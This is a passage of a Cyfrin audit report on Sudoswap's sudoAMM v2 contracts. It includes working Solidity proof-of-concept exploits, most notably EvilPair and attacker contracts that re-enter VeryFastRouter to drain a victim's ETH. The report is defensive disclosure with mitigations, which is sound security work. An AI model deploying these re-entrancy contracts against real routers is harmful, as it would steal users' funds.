Sudoswap sudoAMM v2 Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Giovanni Di Siena

Hans

Assisting Auditors

Alex Roan

0kage

June 1, 2023

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at `https://cyfrin.io`.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Sudoswap sudoAMM v2 delivers several specific feature upgrades missing from sudoAMM v1, an implementation of the AMM protocol described here. Additional features include on-chain royalty support, property-checking, revenue sharing, ERC-1155 support and a new unified router.

5 Executive Summary

Over the course of 3 weeks, the Cyfrin team conducted an audit on the Sudoswap sudoAMM v2 smart contracts. In this period, a total of 20 issues were found.

Summary

Project Name	Sudoswap
Repository	sudoswap-lssvm2
Commit	78d38753b204...
Timeline	Apr 5, 2023 - Apr 26, 2023
Methods	Manual Review, Stateful Fuzzing

Total Issues

Critical Risk	0
High Risk	3
Medium Risk	4
Low Risk	3
Informational	6
Gas Optimizations	4
Total issues	20

6 Findings

6.1 High Risk

6.1.1 Specified minOutput will remain locked in LSSVMRouter::swapNFTsForSpecificNFTsThroughETH

Description: The Cyfrin team understands that LSSVMRouter is slightly out of scope for this audit, given that it is intended to be deprecated and replaced by VeryFastRouter; however, a slightly modified version of this contract is currently deployed and live on mainnet. We have found a bug in LSSVMRouter::swapNFTsForSpecificNFTsThroughETH and LSSVMRouter::swapNFTsForAnyNFTsThroughETH which has been validated against a mainnet fork to lock user funds sent with the function call as specified by the minOutput parameter. In other words, users attempting to protect themselves from slippage will find that this causes their funds to become locked - the higher the minimum expected output specified, the higher value of funds locked.

Users specifying a non-zero minOutput value will have this amount deducted from the inputAmount sent on the second half of the swap, from ETH to NFTs, handled by the internal functions LSSVMRouter::_swapETHForSpecificNFTs and LSSVMRouter::_swapETHForAnyNFTs. Given that it is the responsibility of these internal functions to issue a refund of any unspent ETH based on this inputAmount parameter, the excess value represented by minOutput is not included in the remainingValue calculation and so will not be included in the subsequent ETH transfer. If there are no intermediate underflows (due to a sufficiently large value of minOutput) then any excess ETH as specified by minOutput will therefore remain locked in the router forever.

Fortunately, it appears these functions have never actually been called on the mainnet deployment as they have not been connected to the Sudoswap front end. While Sudoswap doesn't use these functions on the client, contract-level integrators may find themselves with potentially lost funds, so the Sudorandom Labs team has attempted to reach out to those potentially affected.

Proof of Concept: Apply the following git diff:

```
diff --git a/src/test/interfaces/ILSSVMPairFactoryMainnet.sol
 ↪  b/src/test/interfaces/ILSSVMPairFactoryMainnet.sol
new file mode 100644
index 0000000..3cdea5b
--- /dev/null
+++ b/src/test/interfaces/ILSSVMPairFactoryMainnet.sol
```

```
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import {ICurve} from "../../bonding-curves/ICurve.sol";
+import {LSSVMPair} from "../../LSSVMPair.sol";
+import {LSSVMPairETH} from "../../LSSVMPairETH.sol";
+
+interface ILSSVMPairFactoryMainnet {
+    function createPairETH(
+        IERC721 _nft,
+        ICurve _bondingCurve,
+        address payable _assetRecipient,
+        LSSVMPair.PoolType _poolType,
+        uint128 _delta,
+        uint96 _fee,
+        uint128 _spotPrice,
+        uint256[] calldata _initialNFTIDs
+    ) external payable returns (LSSVMPairETH pair);
+}
diff --git a/src/test/mixins/UsingETH.sol b/src/test/mixins/UsingETH.sol
index 0e5cb40..8fecb1e 100644
--- a/src/test/mixins/UsingETH.sol
+++ b/src/test/mixins/UsingETH.sol
@@ -14,6 +14,8 @@ import {LSSVMPairFactory} from "../../LSSVMPairFactory.sol";
 import {LSSVMPairERC721} from "../../erc721/LSSVMPairERC721.sol";
 import {LSSVMPairERC1155} from "../../erc1155/LSSVMPairERC1155.sol";

+import {ILSSVMPairFactoryMainnet} from
 ↪  "../interfaces/ILSSVMPairFactoryMainnet.sol";
+
 abstract contract UsingETH is Configurable, RouterCaller {
     function modifyInputAmount(uint256 inputAmount) public pure override
      ↪  returns (uint256) {
         return inputAmount;
@@ -46,6 +48,25 @@ abstract contract UsingETH is Configurable, RouterCaller {
         return pair;
     }

+    function setupPairERC721Mainnet(
+        ILSSVMPairFactoryMainnet factory,
+        IERC721 nft,
+        ICurve bondingCurve,
+        address payable assetRecipient,
+        LSSVMPair.PoolType poolType,
+        uint128 delta,
+        uint96 fee,
+        uint128 spotPrice,
+        uint256[] memory _idList,
+        uint256,
+        address
+    ) public payable returns (LSSVMPair) {
+        LSSVMPairETH pair = factory.createPairETH{value: msg.value}(
+            nft, bondingCurve, assetRecipient, poolType, delta, fee,
 ↪  spotPrice, _idList
+        );
+        return pair;
+    }
+
     function setupPairERC1155(CreateERC1155PairParams memory params) public
      ↪  payable override returns (LSSVMPair) {
         LSSVMPairETH pair = params.factory.createPairERC1155ETH{value:
          ↪  msg.value}(
             params.nft,
diff --git a/src/test/single-test-cases/CyfrinLSSVMRouterPoC.t.sol
 ↪  b/src/test/single-test-cases/CyfrinLSSVMRouterPoC.t.sol
new file mode 100644
index 0000000..596da45
--- /dev/null
+++ b/src/test/single-test-cases/CyfrinLSSVMRouterPoC.t.sol
@@ -0,0 +1,114 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import {Test721} from "../../mocks/Test721.sol";
+
+import {ICurve} from "../../bonding-curves/ICurve.sol";
+import {ILSSVMPairFactoryMainnet} from
 ↪  "../interfaces/ILSSVMPairFactoryMainnet.sol";
+
+import {UsingETH} from "../mixins/UsingETH.sol";
+import {ConfigurableWithRoyalties} from
 ↪  "../mixins/ConfigurableWithRoyalties.sol";
+import {LinearCurve, UsingLinearCurve} from
 ↪  "../../test/mixins/UsingLinearCurve.sol";
+
+import {LSSVMPair} from "../../LSSVMPair.sol";
+import {LSSVMPairETH} from "../../LSSVMPairETH.sol";
+import {LSSVMRouter} from "../../LSSVMRouter.sol";
+import {RoyaltyEngine} from "../../RoyaltyEngine.sol";
+import {LSSVMPairFactory} from "../../LSSVMPairFactory.sol";
+
+
+contract CyfrinLSSVMRouterPoC is Test, ConfigurableWithRoyalties,
 ↪  UsingLinearCurve, UsingETH {
+    IERC721 test721;
+    address payable alice;
+
+    LSSVMRouter constant LSSVM_ROUTER =
 ↪  LSSVMRouter(payable(address(0x2B2e8cDA09bBA9660dCA5cB6233787738Ad68329)));
+    LSSVMPairFactory constant LSSVM_PAIR_FACTORY = LSSVMPairFactory(payable(a⌋
 ↪  ddress(0xb16c1342E617A5B6E4b631EB114483FDB289c0A4)));
+    LinearCurve constant LINEAR_CURVE =
 ↪  LinearCurve(payable(address(0x5B6aC51d9B1CeDE0068a1B26533CAce807f883Ee)));
+
+    function setUp() public {
+        vm.createSelectFork(vm.envOr("MAINNET_RPC_URL",
 ↪  string.concat("https://rpc.ankr.com/eth")));
+
+        test721 = setup721();
+        alice = payable(makeAddr("alice"));
+        deal(alice, 1 ether);
+    }
+
+    function test_minOutputIsLockedInRouterWhenCallingswapNFTsForSpecificNFTs⌋
 ↪  ThroughETH() public
 ↪  {
+        Test721(address(test721)).mint(alice, 1);
+        uint256[] memory nftToTokenTradesIds = new uint256[](1);
+        nftToTokenTradesIds[0] = 1;
+        Test721(address(test721)).mint(address(this), 2);
+        Test721(address(test721)).mint(address(this), 3);
+        Test721(address(test721)).mint(address(this), 4);
+        uint256[] memory ids = new uint256[](3);
+        ids[0] = 2;
+        ids[1] = 3;
+        ids[2] = 4;
+        uint256[] memory tokenToNFTTradesIds = new uint256[](1);
+        tokenToNFTTradesIds[0] = ids[ids.length - 1];
+
+        test721.setApprovalForAll(address(LSSVM_PAIR_FACTORY), true);
+        LSSVMPair pair721 = this.setupPairERC721Mainnet{value: 10 ether}(
+            ILSSVMPairFactoryMainnet(address(LSSVM_PAIR_FACTORY)),
+            test721,
+            LINEAR_CURVE,
+            payable(address(0)),
+            LSSVMPair.PoolType.TRADE,
+            0.1 ether, // delta
+            0.1 ether, // 10% for trade fee
+            1 ether, // spot price
+            ids,
+            10 ether,
+            address(0)
+        );
+
+        uint256 pairETHBalanceBefore = address(pair721).balance;
+        uint256 aliceETHBalanceBefore = address(alice).balance;
+        uint256 routerETHBalanceBefore = address(LSSVM_ROUTER).balance;
+
+        emit log_named_uint("pairETHBalanceBefore", pairETHBalanceBefore);
+        emit log_named_uint("aliceETHBalanceBefore", aliceETHBalanceBefore);
+        emit log_named_uint("routerETHBalanceBefore", routerETHBalanceBefore);
+
+        uint256 minOutput;
+        {
+            LSSVMRouter.PairSwapSpecific[] memory nftToTokenTrades = new
↪   LSSVMRouter.PairSwapSpecific[](1);
+            nftToTokenTrades[0] = LSSVMRouter.PairSwapSpecific({
+                pair: pair721,
+                nftIds: nftToTokenTradesIds
+            });
+
+            LSSVMRouter.PairSwapSpecific[] memory tokenToNFTTrades = new
↪   LSSVMRouter.PairSwapSpecific[](1);
+            tokenToNFTTrades[0] = LSSVMRouter.PairSwapSpecific({
+                pair: pair721,
+                nftIds: tokenToNFTTradesIds
+            });
+
+            LSSVMRouter.NFTsForSpecificNFTsTrade memory trade =
↪   LSSVMRouter.NFTsForSpecificNFTsTrade({
+                nftToTokenTrades: nftToTokenTrades,
+                tokenToNFTTrades: tokenToNFTTrades
+            });
+
+
+            vm.startPrank(alice);
+            test721.setApprovalForAll(address(LSSVM_ROUTER), true);
+            minOutput = 0.79 ether;
+            LSSVM_ROUTER.swapNFTsForSpecificNFTsThroughETH{value: 1
↪   ether}(trade, minOutput, alice, alice, block.timestamp + 10);
+        }
+
+        uint256 pairETHBalanceAfter = address(pair721).balance;
+        uint256 aliceETHBalanceAfter = address(alice).balance;
+        uint256 routerETHBalanceAfter = address(LSSVM_ROUTER).balance;
+
+        assertTrue(test721.ownerOf(tokenToNFTTradesIds[0]) == alice);
+        assertGt(pairETHBalanceAfter, pairETHBalanceBefore);
+        assertEq(routerETHBalanceAfter, minOutput);
+
+        emit log_named_uint("pairETHBalanceAfter", pairETHBalanceAfter);
+        emit log_named_uint("aliceETHBalanceAfter", aliceETHBalanceAfter);
+        emit log_named_uint("routerETHBalanceAfter", routerETHBalanceAfter);
+    }
+}
```

Impact: This vulnerability results in the locking of user funds with high impact and likelihood. If the problematic functions were integrated into a UI, then this would be evaluated as CRITICAL, but given that the current integrations significantly reduce the likelihood, we evaluate the severity as HIGH.

Recommended Mitigation: Pass `minOutput` through to the internal functions to be used in refund calculations and correctly reflect the true contract balance, validating that this amount is not exceeded. This way, the `outputAmount` return value will correctly reflect the excess ETH transferred to the caller.

Sudoswap: Acknowledged. This issue is present in current implementation of the Router, but no UIs are currently integrated to interact with this specific function. The contract is expected to be deprecated soon in favour of the VeryFastRouter.

Cyfrin: Acknowledged.

6.1.2 Malicious pair can re-enter `VeryFastRouter` to drain original caller's funds

Description: `VeryFastRouter::swap` is the main entry point for a user to perform a batch of sell and buy orders on the new Sudoswap router, allowing partial fill conditions to be specified. Sell orders are executed first, followed by buy orders. The `LSSVMPair` contracts themselves are implemented in such a way that re-entrancy is not possible, but the same is not true of the `VeryFastRouter`. Assuming a user calls `VeryFastRouter::swap`, selling some NFTs and passing in some additional ETH value for subsequent buy orders, an attacker can re-enter this function under certain conditions to steal the original caller's funds. Given that this function does not check whether the user input contains valid pairs, an attacker can use this to manipulate the return values of `LSSVMPair::swapNFTsForToken` and `LSSVMPair::swapTokenForSpecificNFTs`, which interferes with internal accounting. In this way, the attacker can make it appear that a buy/sell order input/output more/less value than expected.

Consider the case where the attacker is a malicious royalty recipient, and their re-entrant swap order contains a single sell order and an empty array of buy orders. Calling out to their malicious pair gives control over the `outputAmount` value which is used in addition assignment to the virtual balance `ethAmount` used to transfer any remaining ETH after all orders have been executed, filled partially or otherwise. The current contract balance is the original caller's remaining ETH value, so the attacker would intend to have their malicious pair return this amount to drain the funds. However, without the introduction of a malicious pair contract to both the attacker's re-entrant order and the original caller's order, the attacker is prevented from stealing the remaining intermediate funds due to the safe ETH transfer of `ethAmount` as this will cause the original caller's transaction to revert at this same line - the contract is attempting to transfer balance that it no longer has. If this had instead been a transfer of the contract balance directly rather than a virtual balance, then the attacker could succeed in stealing the user's funds without baiting them into making a call to their malicious pair. Of course, calling a malicious pair allows it to steal any funds sent with the call, but given that this can manipulate internal accounting through an incorrect return value, as described above, calling this pair can impact other swap orders/partial fills, tricking the contract into thinking it has fewer funds than it does during the lifetime of the original caller's transaction such that the attacker can re-enter and make away with their ETH. Otherwise, the extent of this vulnerability is a DoS attack on calls to the router.

The steps to perform this exploit are as follows:

- Trick the caller into including an order on the attacker's malicious pair.
- The attacker re-enters, passing an order of sell orders and calling back to their malicious pair contract due to unvalidated user input. This inflates the `outputAmount`, which in turn inflates the `ethAmount` for their call.
- Excess ETH is sent to the attacker.
- The malicious pair manipulates `ethAmount` by returning a large `inputAmount`.
- Original caller has any additional partial buy orders fail to fill and receives no ETH in return for selling their NFTs.

The second exploit case is where the caller specifies the router contract as their token recipient, performing DIY recycle ETH functionality of sorts for subsequent buy orders, likely with zero input `msg.value`. This would allow an attacker to steal intermediate balances by re-entering the final sell order before any funds are consumed by buy orders, as these funds are not tracked by `ethAmount`, and so the final transfer will not revert. Independent of a malicious royalty recipient, this also means that any excess ETH sent not consumed by subsequent buy orders will remain locked in the contract if the caller specifies the router contract as their token recipient. Pool funds are safe due to the use of the factory re-entrancy guard, which prohibits calling into any of the pair swap functions that are responsible for transfers to the router. ETH value sent with ERC-20-based swaps due to user misconfiguration is also vulnerable in the case of malicious royalty recipient.

Proof of Concept: The following diff demonstrates a honeypot pair which re-enters the swap and drains the original caller's ETH:

```
diff --git a/src/VeryFastRouter.sol b/src/VeryFastRouter.sol
index 16047b9..2bd3797 100644
--- a/src/VeryFastRouter.sol
+++ b/src/VeryFastRouter.sol
@@ -85,6 +85,7 @@ contract VeryFastRouter {
     error VeryFastRouter__InvalidPair();
     error VeryFastRouter__BondingCurveQuoteError();

+   event vfr_log_named_uint         (string key, uint val);
     constructor(ILSSVMPairFactoryLike _factory) {
         factory = _factory;
     }
@@ -403,12 +404,12 @@ contract VeryFastRouter {

                 // Deduct ETH amount if it's an ETH swap
                 if (order.ethAmount != 0) {
-                    console.log("deducting eth amount");
-                    console.log("before: %s", ethAmount);
+                    // console.log("deducting eth amount");
+                    // console.log("before: %s", ethAmount);
                     ethAmount -= inputAmount;
-                    console.log("after: %s", ethAmount);
-                    console.log("router balance: %s", address(this).balance);
-                    console.log("sender balance: %s", msg.sender.balance);
+                    // console.log("after: %s", ethAmount);
+                    // console.log("router balance: %s",
 ↪  address(this).balance);
+                    // console.log("sender balance: %s", msg.sender.balance);
                 }
             }
             // Otherwise, we need to do some partial fill calculations first
@@ -488,10 +489,15 @@ contract VeryFastRouter {
         }
         // Send excess ETH back to token recipient
-        console.log("ethAmount: %s", ethAmount);
+        emit vfr_log_named_uint("eth Amount", ethAmount);
+        emit vfr_log_named_uint("pair balance before", address(this).balance);
+        if(address(this).balance > ethAmount){
+            emit vfr_log_named_uint("pair balance after",
 ↪  address(this).balance - ethAmount);
+        }
+        else{
+            emit vfr_log_named_uint("pair balance after", 0);
+        }
         if (ethAmount != 0) {
-            console.log("balance: %s", address(this).balance);
-            console.log("transfering %s ETH to: %s", ethAmount,
 ↪  swapOrder.tokenRecipient);
             payable(swapOrder.tokenRecipient).safeTransferETH(ethAmount); //
              ↪  @audit-ok - doesn't seem to be a case when this is less than
              ↪  the actual amount to refund
         }
     }
diff --git a/src/test/base/VeryFastRouterAllSwapTypes.sol
 ↪  b/src/test/base/VeryFastRouterAllSwapTypes.sol
index 9909271..6294bd2 100644
--- a/src/test/base/VeryFastRouterAllSwapTypes.sol
+++ b/src/test/base/VeryFastRouterAllSwapTypes.sol
@@ -33,6 +33,9 @@ import {RoyaltyEngine} from "../../RoyaltyEngine.sol";
 import {VeryFastRouter} from "../../VeryFastRouter.sol";
 import {LSSVMPairFactory} from "../../LSSVMPairFactory.sol";

+import {EvilPair} from "../mixins/EvilPair.sol";
+import {EvilPairReentrancyAttacker} from
 ↪  "../mixins/EvilPairReentrancyAttacker.sol";
+
 abstract contract VeryFastRouterAllSwapTypes is Test, ERC721Holder,
  ↪  ERC1155Holder, ConfigurableWithRoyalties {
     ICurve bondingCurve;
     RoyaltyEngine royaltyEngine;
@@ -43,6 +46,8 @@ abstract contract VeryFastRouterAllSwapTypes is Test,
 ↪  ERC721Holder, ERC1155Holde
     address constant ROUTER_CALLER = address(1);
     address constant TOKEN_RECIPIENT = address(420);
     address constant NFT_RECIPIENT = address(0x69);
+    address constant PWNER = payable(address(999));
+    address constant ALICE = payable(address(666));

     uint256 constant START_INDEX = 0;
     uint256 constant NUM_BEFORE_PARTIAL_FILL = 2;
```

```
@@ -1286,4 +1291,87 @@ abstract contract VeryFastRouterAllSwapTypes is Test,
↪  ERC721Holder, ERC1155Holde
         }
         vm.stopPrank();
     }
+
+    function testSwapEvilPairReentrancyAttack_audit() public {
+        EvilPair evilPair;
+        EvilPairReentrancyAttacker evilPairReentrancyAttacker;
+        uint256 totalEthToSend = 100 ether;
+        deal(ALICE, totalEthToSend);
+
+        //0. create a pair with a bonding curve
+        uint256[] memory nftIds;
+        LSSVMPair pair;
+        nftIds = _getArray(START_INDEX, END_INDEX);
+
+        // mints END_INDEX - START_INDEX + 1 NFTs
+        pair = setUpPairERC721ForSale(0, address(0), nftIds);
+
+        (uint256 delta, uint256 spotPrice) = getReasonableDeltaAndSpotPrice();
+
+
+        //1. create a honeypotNft that again mints END_INDEX - START_INDEX +
↪  1 nfts
+        IERC721Mintable honeypotNft = _setUpERC721(address(this),
↪  address(this), ALICE);
+
+        //2. setup a evilPair & transfer above NFTs to the evilPair
+        evilPair = new EvilPair(spotPrice, delta,
↪  address(pair.bondingCurve()), payable(address(0)), address(honeypotNft));
+        for (uint256 j; j< nftIds.length; j++){
+            IERC721(honeypotNft).transferFrom(address(this),
↪  address(evilPair), nftIds[j]);
+        }
+
+        // 3. setup evil pair attacker
+        evilPairReentrancyAttacker = new EvilPairReentrancyAttacker(router,
↪  spotPrice, PWNER, address(evilPair));
+
+        //4. set the evil pair attacker address as above
+        evilPair.setAttacker(payable(evilPairReentrancyAttacker));
+        evilPair.setReentrancyAttack(true); // just a flag to change the
↪  logic of setReentrancyAttack and swapNFTsForToken
+        evilPair.setRouterAddress(payable(router));
+        uint256[] memory partialFillAmounts = new uint256[](0);
+
+        //5. create a buy order so that we can re-enter from
↪  swapTokenForSpecificNFTs
+        VeryFastRouter.BuyOrderWithPartialFill memory attackBuyOrder =
↪  VeryFastRouter.BuyOrderWithPartialFill({
+            pair: LSSVMPair(address(evilPair)),
+            maxInputAmount: totalEthToSend,
+            ethAmount:totalEthToSend,
+            nftIds: nftIds,
+            expectedSpotPrice: pair.spotPrice(),
+            isERC721: true,
+            maxCostPerNumNFTs: partialFillAmounts
+        });
+
+       VeryFastRouter.BuyOrderWithPartialFill[] memory buyOrders =
+            new VeryFastRouter.BuyOrderWithPartialFill[](1);
+        buyOrders[0] = attackBuyOrder;
+
+        //6. Create a dummy sell order - 0 array
+        VeryFastRouter.SellOrderWithPartialFill[] memory sellOrders =
+            new VeryFastRouter.SellOrderWithPartialFill[](0);
+
+        //7. Create a swap order
+         VeryFastRouter.Order memory swapOrder = VeryFastRouter.Order({
+            buyOrders: buyOrders,
+            sellOrders: sellOrders,
+            tokenRecipient: payable(TOKEN_RECIPIENT),
+            nftRecipient: NFT_RECIPIENT,
+            recycleETH: true
+        });
+
+        //8. We calculate the price of purchasing ALL NFTs from evil pair for
↪  given bonding curve
+        // ignore royalties for this calculation
+        // initial balance of ALICE (100 ether) - input Amount should be the
↪  final balance in ALICE account after swap
+        // by re-entering and placing a fake buy txn, we can drain all of
↪  ALICE's eth
+        (, , , uint256 inputAmount, ,) =
↪  ICurve(pair.bondingCurve()).getBuyInfo(uint128(spotPrice), uint128(delta),
↪  nftIds.length, 0, 0);
+
+        emit log_named_uint("input amount to purchase all NFTs ",
↪  inputAmount);
+        emit log_named_uint("Balance in Alice Account Before ",
↪  ALICE.balance);
+        emit log_named_uint("Balance in Pwner Account Before ",
↪  PWNER.balance);
```

```
+        emit log_named_uint("Balance in Router Account Before ",
 ↪  address(router).balance);
+
+        // 8. Perform the swap
+        vm.prank(ALICE);
+        router.swap{value: totalEthToSend}(swapOrder);
+
+        emit log_named_uint("Balance in Alice Account After ", ALICE.balance);
+        emit log_named_uint("Balance in Pwner Account After ", PWNER.balance);
+        emit log_named_uint("Balance in Router Account After ",
 ↪  address(router).balance);
+    }
 }
diff --git a/src/test/mixins/EvilPair.sol b/src/test/mixins/EvilPair.sol
new file mode 100644
index 0000000..8a8ad6d
--- /dev/null
+++ b/src/test/mixins/EvilPair.sol
@@ -0,0 +1,119 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {console} from "forge-std/Test.sol";
+import {EvilPairReentrancyAttacker} from "./EvilPairReentrancyAttacker.sol";
+import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import {ICurve} from "../../bonding-curves/ICurve.sol";
+
+contract EvilPair {
+    uint256 expectedSpotPrice;
+    uint256 expectedDelta;
+    address public bondingCurve;
+    address payable attacker;
+    uint256 counter;
+    uint256 inputAmount;
+    address nftAddress;
+    address payable routerAddress;
+    bool isReentrancyAttack;
+
+   event evilpair_log_named_uint         (string key, uint val);
+   event evilpair_log_named_address      (string key, address val);
+
+    constructor(uint256 _expectedSpotPrice, uint256 _delta, address
 ↪  _bondingCurve, address payable _attacker, address _nft) {
+        expectedSpotPrice = _expectedSpotPrice;
+        expectedDelta = _delta;
+        bondingCurve = _bondingCurve;
+        attacker = _attacker;
+        nftAddress = _nft;
+    }
+
+    function setAttacker(address payable _attacker) public {
+        attacker = _attacker;
+    }
+
+    function setReentrancyAttack(bool _isAttack) public{
+        isReentrancyAttack = _isAttack;
+    }
+
+    function setRouterAddress(address payable _router) public{
+        routerAddress = _router;
+    }
+
+    function swapNFTsForToken(
+        uint256[] calldata nftIds,
+        uint256 minExpectedTokenOutput,
+        address payable tokenRecipient,
+        bool isRouter,
+        address routerCaller
+    ) external virtual returns (uint256) {
+        if(isReentrancyAttack){
+            //calculate price of original purchase of user
+            //reserve that amount of eth for original buy txn to go through
+            // and drain the balance funds
+
+            // reserveAmount of eth calculation
+            uint256 numNfts = IERC721(nftAddress).balanceOf(address(this));
+            (, , , uint256 inputAmount, ,) =
 ↪  ICurve(bondingCurve).getBuyInfo(uint128(expectedSpotPrice),
 ↪  uint128(expectedDelta), numNfts, 0, 0);
+            emit evilpair_log_named_uint("input amount inside swapNFTForToken
 ↪  ", inputAmount);
+            emit evilpair_log_named_uint("balance eth in evilPair currently
 ↪  ", address(this).balance);
+
+
+            // we ignore royalties for this
+            if(address(this).balance > inputAmount){
+                uint256 splitPayment = (address(this).balance -
 ↪  inputAmount)*50/100;
+                //transfer 50% to the router to enable a payoff
+                (bool success, ) = address(routerAddress).call{value:
 ↪  splitPayment}("");
+                return splitPayment;
+            }
+            return 0;
+        }
```

```
+
+    }
+
+    function swapTokenForSpecificNFTs(
+        uint256[] calldata nftIds,
+        uint256 maxExpectedTokenInput,
+        address nftRecipient,
+        bool isRouter,
+        address routerCaller
+    ) external payable virtual returns (uint256) {
+        uint256 ethAmount = msg.value;
+        if(isReentrancyAttack){
+            EvilPairReentrancyAttacker(attacker).attack();
+
+        }
+        else{
+            sweepETH();
+        }
+
+        return ethAmount;
+    }
+
+    function sweepETH() public {
+        (bool success, ) = attacker.call{value: address(this).balance}("");
+        require(success, "eth sweep success");
+    }
+
+    function spotPrice() external view virtual returns (uint256) {
+        return expectedSpotPrice;
+    }
+
+    function delta() external view virtual returns (uint256) {
+        return expectedDelta;
+    }
+
+    function fee() external view virtual returns (uint256) {
+        return 0;
+    }
+
+    function nft() external view virtual returns (address) {
+        return nftAddress;
+    }
+
+    function calculateRoyaltiesView(uint256 assetId, uint256 saleAmount)
+        public
+        view
+        returns (address payable[] memory royaltyRecipients, uint256[] memory
 ↪  royaltyAmounts, uint256 royaltyTotal)
```

```
+    {}
+}
\ No newline at end of file
diff --git a/src/test/mixins/EvilPairReentrancyAttacker.sol
 ↪  b/src/test/mixins/EvilPairReentrancyAttacker.sol
new file mode 100644
index 0000000..019019f
--- /dev/null
+++ b/src/test/mixins/EvilPairReentrancyAttacker.sol
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {LSSVMPair} from "../../LSSVMPair.sol";
+import {VeryFastRouter} from "../../VeryFastRouter.sol";
+
+import {console} from "forge-std/Test.sol";
+
+contract EvilPairReentrancyAttacker {
+    VeryFastRouter immutable internal router;
+    uint256 immutable internal expectedSpotPrice;
+    address immutable internal PWNER;
+    address immutable internal evilPair;
+    uint256 counter;
+
+    constructor(VeryFastRouter _router, uint256 _expectedSpotPrice, address
 ↪  _pwner, address _evilPair) {
+        router = _router;
+        expectedSpotPrice = _expectedSpotPrice;
+        PWNER = _pwner;
+        evilPair = _evilPair;
+    }
+
+    fallback() external payable {
+        // console.log("entered fallback");
+        // if (msg.sig == this.attack.selector) {
+        //     console.log("doing attack");
+        //     attack();
+        //     return;
+        // }
+        // if (++counter == 2) {
+        //     console.log("doing attack");
+        //     attack();
+        // } else {
+        //     console.log("doing nothing");
+        //     return;
+        // }
+    }
```

```
+
+    receive() external payable {}
+
+    function attack() public {
+        console.log("executing attack");
+        VeryFastRouter.BuyOrderWithPartialFill[] memory attackBuyOrders = new
 ↪  VeryFastRouter.BuyOrderWithPartialFill[](0);
+        VeryFastRouter.SellOrderWithPartialFill[] memory attackSellOrders =
 ↪  new VeryFastRouter.SellOrderWithPartialFill[](1);
+        uint256[] memory nftInfo = new uint256[](1);
+        nftInfo[0] = 1337;
+        uint256[] memory empty = new uint256[](0);
+
+        attackSellOrders[0] = VeryFastRouter.SellOrderWithPartialFill({
+            pair: LSSVMPair(evilPair),
+            isETHSell: true,
+            isERC721: true,
+            nftIds: nftInfo,
+            doPropertyCheck: false,
+            propertyCheckParams: "",
+            expectedSpotPrice: expectedSpotPrice < type(uint128).max ?
 ↪  uint128(expectedSpotPrice) : type(uint128).max,
+            minExpectedOutput: 0,
+            minExpectedOutputPerNumNFTs: empty
+        });
+
+        VeryFastRouter.Order memory attackSwapOrder = VeryFastRouter.Order({
+            buyOrders: attackBuyOrders,
+            sellOrders: attackSellOrders,
+            tokenRecipient: payable(PWNER),
+            nftRecipient: PWNER,
+            recycleETH: true
+        });
+
+
+        router.swap(attackSwapOrder);
+
+        console.log("completed attack");
+    }
+
+    function sweepETH() public {
+        (bool success, ) = PWNER.call{value: address(this).balance}("");
+        require(success, "sweep eth failed");
+    }
+}
\ No newline at end of file
```

Impact: This vulnerability results in the loss of user funds, with high impact and medium likelihood, so we evaluate the severity to HIGH.

Recommended Mitigation: Validate user inputs to `VeryFastRouter::swap`, in particular pairs, and consider making this function non-reentrant.

Sudoswap: Acknowledged, no change for now as risk surface is set to callers passing in improper arguments. Pair validation is done client-side, so less of a concern.

Cyfrin: Acknowledged.

6.1.3 Linearity assumption on the royalty can lead to denial of service

Description: `VeryFastRouter::swap` relies on the internal functions `VeryFastRouter::_findMaxFillableAmtForSell` and `VeryFastRouter::_findMaxFillableAmtForBuy` to find the maximum possible amount of tokens to be swapped via binary search as below:

```
VeryFastRouter.sol
        // Perform binary search
        while (start <= end) {
            // We check the price to sell index + 1
            (
                CurveErrorCodes.Error error,
                /* newSpotPrice */
                ,
                /* newDelta */
                ,
                uint256 currentOutput,
                /* tradeFee */
                ,
                /* protocolFee */
            ) = pair.bondingCurve().getSellInfo(
                spotPrice,
                // get delta from deltaAndFeeMultiplier
                uint128(deltaAndFeeMultiplier >> 96),
                (start + end) / 2,
                // get feeMultiplier from deltaAndFeeMultiplier
                uint96(deltaAndFeeMultiplier),
                protocolFeeMultiplier
            );
            currentOutput -= currentOutput * royaltyAmount / BASE;//@audit-info assumes royalty amount is linear
            // If the bonding curve has a math error, or
            // if the current output is too low relative to our max output, or
601:            // if the current output is greater than the pair's token balance,
602:            // then we recurse on the left half (i.e. less items)
603:            if (
604:                error != CurveErrorCodes.Error.OK || currentOutput < minOutputPerNumNFTs[(start + end) / 2 - 1] /* this is the max cost we are willing to pay, zero-indexed */
605:                    || currentOutput > pairTokenBalance
606:            ) {
607:                end = (start + end) / 2 - 1;
608:            }
609:            // Otherwise, we recurse on the right half (i.e. more items)
610:            else {
611:                numItemsToFill = (start + end) / 2;
612:                start = (start + end) / 2 + 1;
613:                priceToFillAt = currentOutput;
614:            }
615:        }
```

The protocol is designed to integrate various royalty info providers. Line 598 assumes the royalty amount is linear; however, this assumption can be violated, especially in the case of external royalty info providers who could be malicious and return a non-linear royalty amount. For example, the royalty amount can be a function of the number of tokens to be swapped (e.g. greater/fewer royalties for a larger/smaller sale amount). In this case, line 598 will be violated, and the max fillable functions will return incorrect `priceToFillAt` and `numItemsToFill`.

For example, `KODAV2` royalty calculation is NOT accurately linear to the input amount due to roundings.

```
    function getKODAV2RoyaltyInfo(address _tokenAddress, uint256 _id, uint256 _amount)
